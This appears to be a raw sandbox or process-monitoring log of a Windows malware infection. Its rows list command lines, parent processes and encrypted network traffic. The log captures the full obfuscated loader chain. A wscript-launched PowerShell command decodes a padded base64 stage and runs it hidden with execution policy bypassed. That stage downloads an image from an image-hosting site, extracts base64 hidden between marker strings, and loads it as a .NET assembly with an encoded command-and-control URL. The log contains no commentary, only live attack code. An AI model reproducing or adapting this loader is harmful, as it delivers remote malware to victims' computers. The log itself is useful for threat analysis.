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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('UyQMlvG','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD" |
cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( ([STRINg]$verboSePrefeRenCe)[1,3]+'x'-join'')( ('N6zimageUrl = 9mBhttps://uploa'+'ddeimagen'+'s.com.br/images/004/654/536/original/new_image.'+'jpg?16989577509mB;N6zwebClient'+' = New-Object System.Net.WebClient;N6zimageBytes = N6zwebClient.DownloadData(N6zi'+'mageUrl);N6zimageText = [System.Text.Encoding]::UTF8.GetString(N6zimageBytes);N6zstartFlag = 9mB<<BASE64_START>>9mB;N6zendFlag = 9mB<<BASE64_END>>9mB;N6zstartInd'+'ex = N6zim'+'ageText.IndexOf(N6z'+'st'+'artFlag);N6zendIndex = N6zimageText.IndexOf(N6zendFlag);N6zstartIndex -ge 0 -and N6zendIndex -gt N6zstartIndex;N6zstartIndex'+' += N6z'+'startFlag.Le'+'ngth;N6zbase64Length = N6zendIndex - N6zstartIndex;N6zbase64Command = N6zimageText.Substring(N6zstartIndex, N6zbase'+'64Length);N6zcommandBytes = [System.Co'+'nvert]::Fr'+'omBase64String(N6zbase64Command'+');N6zloadedAssembly = [System.Reflection.Assembly]::Load(N6zcommandBytes);N6'+'ztype = N6zloade'+'dAssembly.GetT'+'ype(9mBFiber.Home9mB);N6zmethod = N6ztype.GetMethod(9mBVAI9mB).Inv'+'oke(N6znull, [object[]] (9mBdHh0LkNCTi8wNTIvMjMuOTQyLj'+'cyMS44ODEvLzpwdHRo9mB , 9mB9mB , 9mB29mB , 9mBregasm9mB , 9mB69mB , 9mBC:THfWindowsTHfTempTHf9mB, 9mBhtmlcvg9mB))').rePlACE('THf',[striNg][CHaR]92).rePlACE('N6z',[striNg][CHaR]36).rePlACE('9mB',[striNg][CHaR]39) )" |
Data received | [ |
Data received | WeQi.L²°ð:?ÝOR©/æÂ?˵DOWNGRD ¨³-ÓdÖº|3 o¹Ù|tVåQÄV nd2À ÿ |
Data received | Q |
Data received | |
Data received | AÂ`7§,{XTC]¹Ìa¸½?ÆokátÑgòëJJugûÁUzÿ ¦= ¿¥yæSC`U G0E! ßá¦j&þÃñw§Û`ÆÙáAöEÄ@¨_¤³£ì K_{·ÎgZz"¦Vq°öaP¼(n-]#Z} |
Data received | |
Data received | |
Data received | |
Data received | |
Data received | 0 |
Data received | ² 4r÷L»Ø'þJz C VúÊôy³òaÈQcûçJÂP\q6"÷ýè3R |
Data sent | y ueQ UÞ:"<®Ùk6 ä J/oTbÈÉ% / 5 ÀÀÀ À 2 8 4ÿ uploaddeimagens.com.br |
Data sent | F BA¸Ùó!åÒÙwÛÂjä#z?@KvmûŪCRúZýð,#Û.tö0¦-#ì©I¬2ØÞÀ l 0UÆtsÍ>a÷Ó¦hÐÚäI }WhIÑ&Î ¥¢d¹\»»Í @-×yUL |
parent_process | powershell.exe | martian_process | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( ([STRINg]$verboSePrefeRenCe)[1,3]+'x'-join'')( ('N6zimageUrl = 9mBhttps://uploa'+'ddeimagen'+'s.com.br/images/004/654/536/original/new_image.'+'jpg?16989577509mB;N6zwebClient'+' = New-Object System.Net.WebClient;N6zimageBytes = N6zwebClient.DownloadData(N6zi'+'mageUrl);N6zimageText = [System.Text.Encoding]::UTF8.GetString(N6zimageBytes);N6zstartFlag = 9mB<<BASE64_START>>9mB;N6zendFlag = 9mB<<BASE64_END>>9mB;N6zstartInd'+'ex = N6zim'+'ageText.IndexOf(N6z'+'st'+'artFlag);N6zendIndex = N6zimageText.IndexOf(N6zendFlag);N6zstartIndex -ge 0 -and N6zendIndex -gt N6zstartIndex;N6zstartIndex'+' += N6z'+'startFlag.Le'+'ngth;N6zbase64Length = N6zendIndex - N6zstartIndex;N6zbase64Command = N6zimageText.Substring(N6zstartIndex, N6zbase'+'64Length);N6zcommandBytes = [System.Co'+'nvert]::Fr'+'omBase64String(N6zbase64Command'+');N6zloadedAssembly = [System.Reflection.Assembly]::Load(N6zcommandBytes);N6'+'ztype = N6zloade'+'dAssembly.GetT'+'ype(9mBFiber.Home9mB);N6zmethod = N6ztype.GetMethod(9mBVAI9mB).Inv'+'oke(N6znull, [object[]] (9mBdHh0LkNCTi8wNTIvMjMuOTQyLj'+'cyMS44ODEvLzpwdHRo9mB , 9mB9mB , 9mB29mB , 9mBregasm9mB , 9mB69mB , 9mBC:THfWindowsTHfTempTHf9mB, 9mBhtmlcvg9mB))').rePlACE('THf',[striNg][CHaR]92).rePlACE('N6z',[striNg][CHaR]36).rePlACE('9mB',[striNg][CHaR]39) )" | ||||||
parent_process | wscript.exe | martian_process | powershell -command "$Codigo = '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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('UyQMlvG','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD" | ||||||
